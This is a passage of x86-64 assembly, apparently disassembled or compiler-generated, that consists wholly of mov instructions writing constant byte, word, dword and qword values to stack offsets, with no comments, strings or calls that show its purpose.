mov eax, 0x454
mov word [rsp + 0x187c], ax
movabs rax, 0x73f694e75d8066
mov qword [rsp + 0xbed8], rax
mov dword [rsp + 0x5cf8], 0x77a8
movabs rax, 0x71b1590db65b48
mov qword [rsp + 0xbee0], rax
movabs rax, 0x76283789ae39a1
mov qword [rsp + 0xbee8], rax
mov eax, 0x3da
mov word [rsp + 0x1880], ax
mov byte [rsp + 0x2e1], 0x23
mov eax, 0x28b
mov word [rsp + 0x1884], ax
mov byte [rsp + 0x2e2], 0xb
mov eax, 0x114
mov word [rsp + 0x1888], ax
mov eax, 0x728
mov word [rsp + 0x188c], ax
mov eax, 0x977
mov word [rsp + 0x1890], ax
mov dword [rsp + 0x5cfc], 0x62a8
movabs rax, 0x723e5508b15eea
mov qword [rsp + 0xbef0], rax
mov eax, 0x2df
mov word [rsp + 0x1894], ax
movabs rax, 0x709b176fea8698
mov qword [rsp + 0xbef8], rax
mov dword [rsp + 0x5d00], 0x5d4b
movabs rax, 0x7626784c5a04dc
mov qword [rsp + 0xbf00], rax
movabs rax, 0x78fd2c9106baf7
mov qword [rsp + 0xbf08], rax
mov eax, 0x5ba
mov word [rsp + 0x1898], ax
mov byte [rsp + 0x2e3], 0xf0
movabs rax, 0x7c227c116de5b5
mov qword [rsp + 0xbf10], rax
movabs rax, 0x7c3631d9660b6e
mov qword [rsp + 0xbf18], rax
mov byte [rsp + 0x2e4], 0x20
mov dword [rsp + 0x5d04], 0x34f2
mov eax, 0x914
mov word [rsp + 0x189c], ax
mov byte [rsp + 0x2e5], 0x15
mov eax, 0x455
mov word [rsp + 0x18a0], ax
mov byte [rsp + 0x2e6], 0x98
mov dword [rsp + 0x5d08], 0x3a11
movabs rax, 0x7b5f97ddd171e7
mov qword [rsp + 0xbf20], rax
movabs rax, 0x791dd989d0ba11
mov qword [rsp + 0xbf28], rax
movabs rax, 0x71d008710658cf
mov qword [rsp + 0xbf30], rax
mov eax, 0xafb
mov word [rsp + 0x18a4], ax
mov eax, 0x2fe
mov word [rsp + 0x18a8], ax
mov dword [rsp + 0x5d0c], 0x6db2
movabs rax, 0x72e2297e52ba01
mov qword [rsp + 0xbf38], rax
movabs rax, 0x73132be0416f5a
mov qword [rsp + 0xbf40], rax
mov dword [rsp + 0x5d10], 0xfda7
mov eax, 0xa66
mov word [rsp + 0x18ac], ax
mov dword [rsp + 0x5d14], 0x5402
movabs rax, 0x79c93eba9e04d3
mov qword [rsp + 0xbf48], rax
mov dword [rsp + 0x5d18], 0x6f97
mov byte [rsp + 0x2e7], 0x1f
movabs rax, 0x772180867eeb16
mov qword [rsp + 0xbf50], rax
movabs rax, 0x7d492eaf3e7657
mov qword [rsp + 0xbf58], rax
movabs rax, 0x7598d041c681b0
mov qword [rsp + 0xbf60], rax
movabs rax, 0x7bba3dc763babe
mov qword [rsp + 0xbf68], rax
mov dword [rsp + 0x5d1c], 0x5ac9
movabs rax, 0x74435477355f37
mov qword [rsp + 0xbf70], rax
mov dword [rsp + 0x5d20], 0x5a69
movabs rax, 0x741d82536a8a51
mov qword [rsp + 0xbf78], rax
mov dword [rsp + 0x5d24], 0x294c
movabs rax, 0x719177ff6f3cb7
mov qword [rsp + 0xbf80], rax
mov byte [rsp + 0x2e8], 0x68
mov byte [rsp + 0x2e9], 0x99
mov dword [rsp + 0x5d28], 0x2b16
mov eax, 0x75b
mov word [rsp + 0x18b0], ax
mov eax, 0x887
mov word [rsp + 0x18b4], ax
mov eax, 0x188
mov word [rsp + 0x18b8], ax
mov byte [rsp + 0x2ea], 0x2a
mov dword [rsp + 0x5d2c], 0x7ac1
mov dword [rsp + 0x5d30], 0x2d0f
mov eax, 0xe4a
mov word [rsp + 0x18bc], ax
mov dword [rsp + 0x5d34], 0x1a42
mov eax, 0x194
mov word [rsp + 0x18c0], ax
mov eax, 0x89
mov word [rsp + 0x18c4], ax
movabs rax, 0x7180814147ba19
mov qword [rsp + 0xbf88], rax
movabs rax, 0x71e1b370ccdcdc
mov qword [rsp + 0xbf90], rax
movabs rax, 0x7963264fdc068c
mov qword [rsp + 0xbf98], rax
mov dword [rsp + 0x5d38], 0x5038
mov eax, 0x33f
mov word [rsp + 0x18c8], ax
mov dword [rsp + 0x5d3c], 0x3eba
mov eax, 0x228
mov word [rsp + 0x18cc], ax
mov eax, 0x564
mov word [rsp + 0x18d0], ax
mov eax, 0xb71
mov word [rsp + 0x18d4], ax
mov dword [rsp + 0x5d40], 0x6566
mov dword [rsp + 0x5d44], 0x5f9f
mov eax, 0xf25
mov word [rsp + 0x18d8], ax
movabs rax, 0x7344c05861b29e
mov qword [rsp + 0xbfa0], rax
mov eax, 0x760
mov word [rsp + 0x18dc], ax
mov byte [rsp + 0x2eb], 0x6b
mov eax, 0x43d
mov word [rsp + 0x18e0], ax
mov eax, 0x5d1
mov word [rsp + 0x18e4], ax
movabs rax, 0x73daf079667fa3
mov qword [rsp + 0xbfa8], rax
movabs rax, 0x7226cab4253267
mov qword [rsp + 0xbfb0], rax
mov byte [rsp + 0x2ec], 0x25
mov byte [rsp + 0x2ed], 0x13
mov eax, 0x15a
mov word [rsp + 0x18e8], ax
movabs rax, 0x7a70f5ebe9cdd9
mov qword [rsp + 0xbfb8], rax
mov byte [rsp + 0x2ee], 0x6c
mov dword [rsp + 0x5d48], 0x3b25
mov dword [rsp + 0x5d4c], 0x1b9c
movabs rax, 0x7912bd34110d64
mov qword [rsp + 0xbfc0], rax
mov eax, 0x4aa
mov word [rsp + 0x18ec], ax
mov byte [rsp + 0x2ef], 0x49
mov byte [rsp + 0x2f0], 0xe9
movabs rax, 0x7dfe35718082b7
mov qword [rsp + 0xbfc8], rax
movabs rax, 0x7c4b0d1ad41e65
mov qword [rsp + 0xbfd0], rax
movabs rax, 0x733e9759790357
mov qword [rsp + 0xbfd8], rax
mov dword [rsp + 0x5d50], 0xb7ae
mov eax, 0x1de
mov word [rsp + 0x18f0], ax
movabs rax, 0x7737a9740f8ee7
mov qword [rsp + 0xbfe0], rax
movabs rax, 0x713ff32add3b3e
mov qword [rsp + 0xbfe8], rax
movabs rax, 0x7895403a7e32cc
mov qword [rsp + 0xbff0], rax
movabs rax, 0x735599a54c95b7
mov qword [rsp + 0xbff8], rax
mov eax, 0x917
mov word [rsp + 0x18f4], ax
mov eax, 0x7cb
mov word [rsp + 0x18f8], ax
mov eax, 0xef3
mov word [rsp + 0x18fc], ax
mov dword [rsp + 0x5d54], 0x34d2
mov byte [rsp + 0x2f1], 0xa8
movabs rax, 0x71fe96b3d1cd3f
mov qword [rsp + 0xc000], rax
mov dword [rsp + 0x5d58], 0x3a60
mov byte [rsp + 0x2f2], 0xe8
mov dword [rsp + 0x5d5c], 0x43eb
mov byte [rsp + 0x2f3], 0x19
movabs rax, 0x71c4bc262a341c
mov qword [rsp + 0xc008], rax
mov eax, 0x300
mov word [rsp + 0x1900], ax
mov dword [rsp + 0x5d60], 0xe2ce
mov byte [rsp + 0x2f4], 0x52
mov eax, 0x3bd
mov word [rsp + 0x1904], ax
mov eax, 0x6f5
mov word [rsp + 0x1908], ax
movabs rax, 0x764e29ca8c25dc
mov qword [rsp + 0xc010], rax
mov dword [rsp + 0x5d64], 0xb0c0
mov dword [rsp + 0x5d68], 0x78df
mov dword [rsp + 0x5d6c], 0xf84f
movabs rax, 0x73939ed864766b
mov qword [rsp + 0xc018], rax
movabs rax, 0x775a0e3c84bbf0
mov qword [rsp + 0xc020], rax
mov eax, 0x5ec
mov word [rsp + 0x190c], ax
mov eax, 0x212
mov word [rsp + 0x1910], ax
mov eax, 0x28a
mov word [rsp + 0x1914], ax
movabs rax, 0x748950c408cd23
mov qword [rsp + 0xc028], rax
mov byte [rsp + 0x2f5], 0x77
mov eax, 0xb8
mov word [rsp + 0x1918], ax
movabs rax, 0x7eca30d76d0cf9
mov qword [rsp + 0xc030], rax
mov byte [rsp + 0x2f6], 0x3c
movabs rax, 0x754773d23ab472
mov qword [rsp + 0xc038], rax
movabs rax, 0x7b4f3dc507aae7
mov qword [rsp + 0xc040], rax
movabs rax, 0x7da34115526670
mov qword [rsp + 0xc048], rax
mov eax, 0x5ee
mov word [rsp + 0x191c], ax
mov byte [rsp + 0x2f7], 0xba
movabs rax, 0x7eb80a574190be
mov qword [rsp + 0xc050], rax
mov dword [rsp + 0x5d70], 0x2c4f
mov byte [rsp + 0x2f8], 0x11
mov byte [rsp + 0x2f9], 0xda
movabs rax, 0x73b3b4a8d5b00c
mov qword [rsp + 0xc058], rax
mov dword [rsp + 0x5d74], 0x6f22
movabs rax, 0x7d0649744af3ba
mov qword [rsp + 0xc060], rax
movabs rax, 0x7875dc1bd85791
mov qword [rsp + 0xc068], rax
movabs rax, 0x78f27936e49105
mov qword [rsp + 0xc070], rax
mov byte [rsp + 0x2fa], 4
mov byte [rsp + 0x2fb], 0x15
mov byte [rsp + 0x2fc], 0x28
mov eax, 0x52f
mov word [rsp + 0x1920], ax
mov dword [rsp + 0x5d78], 0x5ed0
mov eax, 0x311
mov word [rsp + 0x1924], ax
movabs rax, 0x7e19c5cd900544
mov qword [rsp + 0xc078], rax
movabs rax, 0x78240ed6d67659
mov qword [rsp + 0xc080], rax
movabs rax, 0x72964bdd71767b
mov qword [rsp + 0xc088], rax
mov eax, 0x30e
mov word [rsp + 0x1928], ax
mov eax, 0x44e
mov word [rsp + 0x192c], ax
movabs rax, 0x70d7529876eeeb
mov qword [rsp + 0xc090], rax
mov eax, 0x285
mov word [rsp + 0x1930], ax
mov dword [rsp + 0x5d7c], 0x179f
mov eax, 0x454
mov word [rsp + 0x1934], ax
mov dword [rsp + 0x5d80], 0x2f5a
movabs rax, 0x75b2cbd03cb745
mov qword [rsp + 0xc098], rax
mov byte [rsp + 0x2fd], 5
movabs rax, 0x7d50c063f7eb31
mov qword [rsp + 0xc0a0], rax
mov eax, 0x45f
mov word [rsp + 0x1938], ax
mov byte [rsp + 0x2fe], 0x5b
mov dword [rsp + 0x5d84], 0x5907
movabs rax, 0x7be5fca9cc6f19
mov qword [rsp + 0xc0a8], rax
mov byte [rsp + 0x2ff], 0x70
mov eax, 0x18e
mov word [rsp + 0x193c], ax
mov byte [rsp + 0x300], 0x4b
mov dword [rsp + 0x5d88], 0x2f8c
mov dword [rsp + 0x5d8c], 0xa9b5
mov dword [rsp + 0x5d90], 0x3512
mov eax, 0x276
mov word [rsp + 0x1940], ax
mov eax, 0x754
mov word [rsp + 0x1944], ax
movabs rax, 0x7205a35e621db6
mov qword [rsp + 0xc0b0], rax
movabs rax, 0x7c85cfe9c93afa
mov qword [rsp + 0xc0b8], rax
movabs rax, 0x77f8fe282c404e
mov qword [rsp + 0xc0c0], rax
movabs rax, 0x78436578ef2368
mov qword [rsp + 0xc0c8], rax
mov eax, 0xf45
mov word [rsp + 0x1948], ax
mov eax, 0x953
mov word [rsp + 0x194c], ax
movabs rax, 0x70499dedaee870
mov qword [rsp + 0xc0d0], rax
movabs rax, 0x7c6a9f9341af42
mov qword [rsp + 0xc0d8], rax
mov dword [rsp + 0x5d94], 0x730d
mov eax, 0xf1
mov word [rsp + 0x1950], ax
mov dword [rsp + 0x5d98], 0x417c
mov dword [rsp + 0x5d9c], 0xc868
mov eax, 0x8c5
mov word [rsp + 0x1954], ax
mov eax, 0x65c
mov word [rsp + 0x1958], ax
mov eax, 0x13e
mov word [rsp + 0x195c], ax
mov eax, 0xa9c
mov word [rsp + 0x1960], ax
mov eax, 0xf82
mov word [rsp + 0x1964], ax
mov eax, 0x3e4
mov word [rsp + 0x1968], ax
movabs rax, 0x72d1ee1c5cc44d
mov qword [rsp + 0xc0e0], rax
mov eax, 0x628
mov word [rsp + 0x196c], ax
mov eax, 0x736
mov word [rsp + 0x1970], ax
mov byte [rsp + 0x301], 0xf3
mov dword [rsp + 0x5da0], 0x740f
mov byte [rsp + 0x302], 0x24
movabs rax, 0x74ea051d43bd4f
mov qword [rsp + 0xc0e8], rax
mov dword [rsp + 0x5da4], 0x8350
mov eax, 0xd15
mov word [rsp + 0x1974], ax
mov eax, 0x307
mov word [rsp + 0x1978], ax
mov eax, 0x4d8
mov word [rsp + 0x197c], ax
mov eax, 0x449
mov word [rsp + 0x1980], ax
mov byte [rsp + 0x303], 0x54
mov byte [rsp + 0x304], 0xa
mov eax, 0x5b7
mov word [rsp + 0x1984], ax
mov eax, 0x5b9
mov word [rsp + 0x1988], ax
mov eax, 0x59a
mov word [rsp + 0x198c], ax
mov eax, 0x62f
mov word [rsp + 0x1990], ax
mov dword [rsp + 0x5da8], 0x55d
mov eax, 0xde5
mov word [rsp + 0x1994], ax
mov dword [rsp + 0x5dac], 0x3810
mov byte [rsp + 0x305], 0x1d
mov byte [rsp + 0x306], 0x9a
movabs rax, 0x7bee4080a5fe5d
mov qword [rsp + 0xc0f0], rax
mov dword [rsp + 0x5db0], 0x26ff
mov byte [rsp + 0x307], 0x15
mov eax, 0xca4
mov word [rsp + 0x1998], ax
movabs rax, 0x721d3199cf9ec4
mov qword [rsp + 0xc0f8], rax
mov byte [rsp + 0x308], 0xd3
mov eax, 0x1f7
mov word [rsp + 0x199c], ax
mov byte [rsp + 0x309], 0x23
mov eax, 0x3e9
mov word [rsp + 0x19a0], ax
mov byte [rsp + 0x30a], 0x43
mov eax, 0xe80
mov word [rsp + 0x19a4], ax
mov dword [rsp + 0x5db4], 0x68d6
movabs rax, 0x743306413901f7
mov qword [rsp + 0xc100], rax
mov dword [rsp + 0x5db8], 0x305f
mov eax, 0x683
mov word [rsp + 0x19a8], ax
mov dword [rsp + 0x5dbc], 0x3c95
mov eax, 0x558
mov word [rsp + 0x19ac], ax
mov eax, 0x613
mov word [rsp + 0x19b0], ax
movabs rax, 0x7879b8c966acd8
mov qword [rsp + 0xc108], rax
movabs rax, 0x78eff224a7c320
mov qword [rsp + 0xc110], rax
mov dword [rsp + 0x5dc0], 0x1ff4
mov byte [rsp + 0x30b], 0xb1
mov byte [rsp + 0x30c], 0x30
movabs rax, 0x742475b8bb1706
mov qword [rsp + 0xc118], rax
movabs rax, 0x751db92adb2b77
mov qword [rsp + 0xc120], rax
mov eax, 0xd53
mov word [rsp + 0x19b4], ax
movabs rax, 0x7bc6babe736aea
mov qword [rsp + 0xc128], rax
mov eax, 0x66d
mov word [rsp + 0x19b8], ax
mov eax, 0x1b2
mov word [rsp + 0x19bc], ax
mov eax, 0x608
mov word [rsp + 0x19c0], ax
mov byte [rsp + 0x30d], 8
mov byte [rsp + 0x30e], 0xf3
mov dword [rsp + 0x5dc4], 0x4f8b
movabs rax, 0x79a00e765f5731
mov qword [rsp + 0xc130], rax
mov byte [rsp + 0x30f], 0xc7
mov eax, 0x41c
mov word [rsp + 0x19c4], ax
movabs rax, 0x7e3e8685ae8737
mov qword [rsp + 0xc138], rax
movabs rax, 0x7441943a0e0249
mov qword [rsp + 0xc140], rax
movabs rax, 0x77f5e05df833c2
mov qword [rsp + 0xc148], rax
movabs rax, 0x7b1c01fc3f3dba
mov qword [rsp + 0xc150], rax
mov dword [rsp + 0x5dc8], 0x6a91
mov byte [rsp + 0x310], 0x70
movabs rax, 0x7528bdf2c35ff9
mov qword [rsp + 0xc158], rax
mov eax, 0x18e
mov word [rsp + 0x19c8], ax
mov dword [rsp + 0x5dcc], 0x8c98
movabs rax, 0x77a0a1d755be80
mov qword [rsp + 0xc160], rax
mov eax, 0x272
mov word [rsp + 0x19cc], ax
mov eax, 0x890
mov word [rsp + 0x19d0], ax
mov dword [rsp + 0x5dd0], 0x6d68
mov byte [rsp + 0x311], 0xd8
mov dword [rsp + 0x5dd4], 0x7f3e
mov dword [rsp + 0x5dd8], 0x5b8c
mov eax, 0x303
mov word [rsp + 0x19d4], ax
mov eax, 0x67d
mov word [rsp + 0x19d8], ax
mov eax, 0x341
mov word [rsp + 0x19dc], ax
movabs rax, 0x78291672ce7549
mov qword [rsp + 0xc168], rax
mov byte [rsp + 0x312], 0xfb
mov byte [rsp + 0x313], 0x41
mov eax, 0xc17
mov word [rsp + 0x19e0], ax
movabs rax, 0x757dc7fdbc2db4
mov qword [rsp + 0xc170], rax
mov eax, 0x2d4
mov word [rsp + 0x19e4], ax
mov eax, 0xa3c
mov word [rsp + 0x19e8], ax
movabs rax, 0x7e408b45d4031c
mov qword [rsp + 0xc178], rax
mov eax, 0x5b9
mov word [rsp + 0x19ec], ax
movabs rax, 0x7051060fe1641d
mov qword [rsp + 0xc180], rax
mov dword [rsp + 0x5ddc], 0x4621
mov eax, 0x776
mov word [rsp + 0x19f0], ax
mov eax, 0xf93
mov word [rsp + 0x19f4], ax
mov eax, 0x766
mov word [rsp + 0x19f8], ax
mov eax, 0x265
mov word [rsp + 0x19fc], ax
mov dword [rsp + 0x5de0], 0x7b3e
mov eax, 0x3d4
mov word [rsp + 0x1a00], ax
mov dword [rsp + 0x5de4], 0x329f
movabs rax, 0x75cbf030a8bae0
mov qword [rsp + 0xc188], rax
movabs rax, 0x7464b04e2ef08f
mov qword [rsp + 0xc190], rax
mov eax, 0x62a
mov word [rsp + 0x1a04], ax
movabs rax, 0x702e962e8ed724
mov qword [rsp + 0xc198], rax
mov dword [rsp + 0x5de8], 0x50c0
mov byte [rsp + 0x314], 0xdc
movabs rax, 0x7254ff40b0edb1
mov qword [rsp + 0xc1a0], rax
mov dword [rsp + 0x5dec], 0x393d
mov byte [rsp + 0x315], 0x38
mov dword [rsp + 0x5df0], 0x3ed
movabs rax, 0x79a77bece29ab9
mov qword [rsp + 0xc1a8], rax
movabs rax, 0x7ce3081295c563
mov qword [rsp + 0xc1b0], rax
movabs rax, 0x7023345e26e645
mov qword [rsp + 0xc1b8], rax
mov dword [rsp + 0x5df4], 0x4567
mov dword [rsp + 0x5df8], 0x762f
movabs rax, 0x7c59b842328c91
mov qword [rsp + 0xc1c0], rax
mov dword [rsp + 0x5dfc], 0x1b22
mov eax, 0x796
mov word [rsp + 0x1a08], ax
movabs rax, 0x729d11455f2b01
mov qword [rsp + 0xc1c8], rax
movabs rax, 0x7298cf04b69989
mov qword [rsp + 0xc1d0], rax
mov eax, 0x54b
mov word [rsp + 0x1a0c], ax
mov eax, 0xf22
mov word [rsp + 0x1a10], ax
mov dword [rsp + 0x5e00], 0x5e44
mov eax, 0x60d
mov word [rsp + 0x1a14], ax
movabs rax, 0x7a60c5142b8f37
mov qword [rsp + 0xc1d8], rax
mov dword [rsp + 0x5e04], 0xdcf0
mov dword [rsp + 0x5e08], 0x2a09
mov byte [rsp + 0x316], 0x7c
mov eax, 0xfc2
mov word [rsp + 0x1a18], ax
mov eax, 0xda
mov word [rsp + 0x1a1c], ax
mov eax, 0x758
mov word [rsp + 0x1a20], ax
mov dword [rsp + 0x5e0c], 0xdb21
mov eax, 0x83c
mov word [rsp + 0x1a24], ax
mov dword [rsp + 0x5e10], 0x4aad
mov dword [rsp + 0x5e14], 0xb3e8
mov dword [rsp + 0x5e18], 0x5642
mov eax, 0xcfc
mov word [rsp + 0x1a28], ax
mov eax, 0x40b
mov word [rsp + 0x1a2c], ax
mov eax, 0xa12
mov word [rsp + 0x1a30], ax
mov byte [rsp + 0x317], 0x4d
mov eax, 0x5ab
mov word [rsp + 0x1a34], ax
mov dword [rsp + 0x5e1c], 0x252f
movabs rax, 0x74d05f94c2ee47
mov qword [rsp + 0xc1e0], rax
movabs rax, 0x7807f69c0c0331
mov qword [rsp + 0xc1e8], rax
movabs rax, 0x7946b540c5aafd
mov qword [rsp + 0xc1f0], rax
mov byte [rsp + 0x318], 0xc3
mov dword [rsp + 0x5e20], 0xbeb3
mov dword [rsp + 0x5e24], 0x44c
movabs rax, 0x7bdf6112379ac8
mov qword [rsp + 0xc1f8], rax
movabs rax, 0x72b7f6f145f670
mov qword [rsp + 0xc200], rax
movabs rax, 0x70342311c33e2a
mov qword [rsp + 0xc208], rax
mov dword [rsp + 0x5e28], 0xfd71
mov dword [rsp + 0x5e2c], 0x2dea
mov eax, 0x589
mov word [rsp + 0x1a38], ax
mov eax, 0x306
mov word [rsp + 0x1a3c], ax
mov dword [rsp + 0x5e30], 0x355b
mov eax, 0xec0
mov word [rsp + 0x1a40], ax
mov eax, 0x709
mov word [rsp + 0x1a44], ax
mov dword [rsp + 0x5e34], 0xa23d
movabs rax, 0x7c3aa858d252f7
mov qword [rsp + 0xc210], rax
movabs rax, 0x797b447ef2da7f
mov qword [rsp + 0xc218], rax
movabs rax, 0x7885d68732ab15
mov qword [rsp + 0xc220], rax
movabs rax, 0x77cd8fa71297a9
mov qword [rsp + 0xc228], rax
mov eax, 0x352
mov word [rsp + 0x1a48], ax
mov byte [rsp + 0x319], 0x3d
mov byte [rsp + 0x31a], 0x46
mov byte [rsp + 0x31b], 0x4f
mov byte [rsp + 0x31c], 0xc5
movabs rax, 0x7410b290dcf1d1
mov qword [rsp + 0xc230], rax
mov dword [rsp + 0x5e38], 0x6865
mov eax, 0x4fa
mov word [rsp + 0x1a4c], ax
mov dword [rsp + 0x5e3c], 0x46f7
mov byte [rsp + 0x31d], 0x37
mov dword [rsp + 0x5e40], 0x1397
mov byte [rsp + 0x31e], 0x76
movabs rax, 0x7893909567d6fd
mov qword [rsp + 0xc238], rax
movabs rax, 0x761f00a1b7e8f8
mov qword [rsp + 0xc240], rax
mov eax, 0xc33
mov word [rsp + 0x1a50], ax
mov eax, 0x451
mov word [rsp + 0x1a54], ax
mov dword [rsp + 0x5e44], 0x5e81
mov eax, 0x3b3
mov word [rsp + 0x1a58], ax
movabs rax, 0x7be36d6d62ba54
mov qword [rsp + 0xc248], rax
mov byte [rsp + 0x31f], 0x88
mov dword [rsp + 0x5e48], 0x30a1
mov eax, 0x102
mov word [rsp + 0x1a5c], ax
mov eax, 0x684
mov word [rsp + 0x1a60], ax
mov dword [rsp + 0x5e4c], 0xdbee
mov eax, 0x576
mov word [rsp + 0x1a64], ax
mov eax, 2
mov word [rsp + 0x1a68], ax
mov eax, 0xfd
mov word [rsp + 0x1a6c], ax
movabs rax, 0x73a54bb53ab370
mov qword [rsp + 0xc250], rax
movabs rax, 0x77a01764116eac
mov qword [rsp + 0xc258], rax
mov dword [rsp + 0x5e50], 0x257f
movabs rax, 0x777c29a72fe320
mov qword [rsp + 0xc260], rax
mov dword [rsp + 0x5e54], 0xc1d
mov eax, 0x2f2
mov word [rsp + 0x1a70], ax
mov byte [rsp + 0x320], 0x13
mov byte [rsp + 0x321], 0x77
movabs rax, 0x7b703bc7836f0d
mov qword [rsp + 0xc268], rax
mov dword [rsp + 0x5e58], 0xcfa9
mov byte [rsp + 0x322], 0xa
mov eax, 0x5e6
mov word [rsp + 0x1a74], ax
mov dword [rsp + 0x5e5c], 0x5c7e
movabs rax, 0x763ae640141ca1
mov qword [rsp + 0xc270], rax
movabs rax, 0x746f714c84d769
mov qword [rsp + 0xc278], rax
mov byte [rsp + 0x323], 0x16
mov dword [rsp + 0x5e60], 0x6ea
mov eax, 0x2e5
mov word [rsp + 0x1a78], ax
movabs rax, 0x7e5bb30c60e0a6
mov qword [rsp + 0xc280], rax
mov eax, 0x79
mov word [rsp + 0x1a7c], ax
mov dword [rsp + 0x5e64], 0x5f0d
movabs rax, 0x7e23254608558e
mov qword [rsp + 0xc288], rax
movabs rax, 0x7d742f771f0772
mov qword [rsp + 0xc290], rax
movabs rax, 0x7d5c8e25a6adbb
mov qword [rsp + 0xc298], rax
mov eax, 0x494
mov word [rsp + 0x1a80], ax
mov byte [rsp + 0x324], 0xa1
mov byte [rsp + 0x325], 0
mov dword [rsp + 0x5e68], 0x7d28
movabs rax, 0x73560b8a52ce8e
mov qword [rsp + 0xc2a0], rax
movabs rax, 0x7269e3b5a10735
mov qword [rsp + 0xc2a8], rax
mov eax, 0x61a
mov word [rsp + 0x1a84], ax
mov eax, 0x7a3
mov word [rsp + 0x1a88], ax
mov dword [rsp + 0x5e6c], 0x7031
movabs rax, 0x79816bd11b0b59
mov qword [rsp + 0xc2b0], rax
mov eax, 0x227
mov word [rsp + 0x1a8c], ax
movabs rax, 0x75a93322f9816a
mov qword [rsp + 0xc2b8], rax
mov eax, 0x716
mov word [rsp + 0x1a90], ax
movabs rax, 0x7a43ecc52a1caa
mov qword [rsp + 0xc2c0], rax
mov dword [rsp + 0x5e70], 0x1180
mov eax, 0x451
mov word [rsp + 0x1a94], ax
mov byte [rsp + 0x326], 0x52
mov eax, 0x2e7
mov word [rsp + 0x1a98], ax
mov dword [rsp + 0x5e74], 0x3763
mov dword [rsp + 0x5e78], 0x588b
mov byte [rsp + 0x327], 0x14
mov eax, 0x32f
mov word [rsp + 0x1a9c], ax
mov dword [rsp + 0x5e7c], 0xca00
mov eax, 0x458
mov word [rsp + 0x1aa0], ax
mov eax, 0xf64
mov word [rsp + 0x1aa4], ax
mov eax, 0x62d
mov word [rsp + 0x1aa8], ax
mov dword [rsp + 0x5e80], 0x31e
movabs rax, 0x72f86975a17b82
mov qword [rsp + 0xc2c8], rax
mov eax, 0x74d
mov word [rsp + 0x1aac], ax
mov dword [rsp + 0x5e84], 0xb3b
movabs rax, 0x7218cbdbbf2a31
mov qword [rsp + 0xc2d0], rax
mov byte [rsp + 0x328], 0x5f
movabs rax, 0x790e89cf531b78
mov qword [rsp + 0xc2d8], rax
mov eax, 0x252
mov word [rsp + 0x1ab0], ax
movabs rax, 0x7d4f94a3b1c3d9
mov qword [rsp + 0xc2e0], rax
mov eax, 0x619
mov word [rsp + 0x1ab4], ax
mov byte [rsp + 0x329], 0x38
mov byte [rsp + 0x32a], 0x5b
mov eax, 0x7da
mov word [rsp + 0x1ab8], ax
mov byte [rsp + 0x32b], 0xe
mov dword [rsp + 0x5e88], 0xca89
mov byte [rsp + 0x32c], 0x19
movabs rax, 0x72c90076cd6186
mov qword [rsp + 0xc2e8], rax
movabs rax, 0x7c99a0022098d4
mov qword [rsp + 0xc2f0], rax
mov dword [rsp + 0x5e8c], 0x1227
mov dword [rsp + 0x5e90], 0xafa4
mov dword [rsp + 0x5e94], 0x4467
mov eax, 0x7fd
mov word [rsp + 0x1abc], ax
movabs rax, 0x7470919011c981
mov qword [rsp + 0xc2f8], rax
movabs rax, 0x7b192ba691afcc
mov qword [rsp + 0xc300], rax
mov eax, 0xc8b
mov word [rsp + 0x1ac0], ax
mov eax, 0x3af
mov word [rsp + 0x1ac4], ax
mov eax, 0x242
mov word [rsp + 0x1ac8], ax
mov eax, 0x525
mov word [rsp + 0x1acc], ax
mov eax, 0x65e
mov word [rsp + 0x1ad0], ax
mov eax, 0x890
mov word [rsp + 0x1ad4], ax
mov byte [rsp + 0x32d], 0x79
movabs rax, 0x789fadfad1eef2
mov qword [rsp + 0xc308], rax
mov eax, 0x486
mov word [rsp + 0x1ad8], ax
mov dword [rsp + 0x5e98], 0x5db8
mov eax, 0x4f2
mov word [rsp + 0x1adc], ax
mov dword [rsp + 0x5e9c], 0xa92
movabs rax, 0x71a1701160ce90
mov qword [rsp + 0xc310], rax
mov dword [rsp + 0x5ea0], 0x32f8
mov byte [rsp + 0x32e], 0x2d
movabs rax, 0x763af315d3beb2
mov qword [rsp + 0xc318], rax
mov dword [rsp + 0x5ea4], 0x3f14
mov eax, 0xa69
mov word [rsp + 0x1ae0], ax
movabs rax, 0x723a96b9ab074b
mov qword [rsp + 0xc320], rax
movabs rax, 0x71aa272721c02d
mov qword [rsp + 0xc328], rax
mov byte [rsp + 0x32f], 0xd9
mov dword [rsp + 0x5ea8], 0x50bd
movabs rax, 0x77b6d7a741452a
mov qword [rsp + 0xc330], rax
mov dword [rsp + 0x5eac], 0xf221
mov dword [rsp + 0x5eb0], 0x5b6e
mov byte [rsp + 0x330], 0x25
mov dword [rsp + 0x5eb4], 0xc75b
mov eax, 0x1e4
mov word [rsp + 0x1ae4], ax
mov dword [rsp + 0x5eb8], 0x4936
mov eax, 0x3a4
mov word [rsp + 0x1ae8], ax
mov dword [rsp + 0x5ebc], 0x7cc3
mov byte [rsp + 0x331], 0xcf
mov dword [rsp + 0x5ec0], 0x772d
movabs rax, 0x78a69f267838bd
mov qword [rsp + 0xc338], rax
mov byte [rsp + 0x332], 0x7b
mov dword [rsp + 0x5ec4], 0x1d96
mov dword [rsp + 0x5ec8], 0xfb9
mov byte [rsp + 0x333], 0x76
movabs rax, 0x74166974d16ea0
mov qword [rsp + 0xc340], rax
mov dword [rsp + 0x5ecc], 0x5624
movabs rax, 0x79e69d3dcadc9b
mov qword [rsp + 0xc348], rax
mov dword [rsp + 0x5ed0], 0xd1af
mov byte [rsp + 0x334], 0x6c
movabs rax, 0x7bcb80e95618f6
mov qword [rsp + 0xc350], rax
movabs rax, 0x7a980d320ec284
mov qword [rsp + 0xc358], rax
mov eax, 0xacc
mov word [rsp + 0x1aec], ax
mov byte [rsp + 0x335], 0x12
mov eax, 0x214
mov word [rsp + 0x1af0], ax
movabs rax, 0x711782624eb025
mov qword [rsp + 0xc360], rax
mov byte [rsp + 0x336], 0xe5
movabs rax, 0x79589987eee635
mov qword [rsp + 0xc368], rax
movabs rax, 0x72ac4ffcbb17b2
mov qword [rsp + 0xc370], rax
movabs rax, 0x7b8a8c3f3ac21e
mov qword [rsp + 0xc378], rax
mov eax, 0x5d4
mov word [rsp + 0x1af4], ax
movabs rax, 0x707d4149581d61
mov qword [rsp + 0xc380], rax
mov byte [rsp + 0x337], 0x3d
mov byte [rsp + 0x338], 0x16
mov eax, 0x603
mov word [rsp + 0x1af8], ax
mov eax, 0xb0d
mov word [rsp + 0x1afc], ax
mov eax, 0x77
mov word [rsp + 0x1b00], ax
mov byte [rsp + 0x339], 0x72
movabs rax, 0x7dc5dbfa956448
mov qword [rsp + 0xc388], rax
mov byte [rsp + 0x33a], 0x6c
movabs rax, 0x7c613b3c2326a3
mov qword [rsp + 0xc390], rax
mov eax, 0x1cf
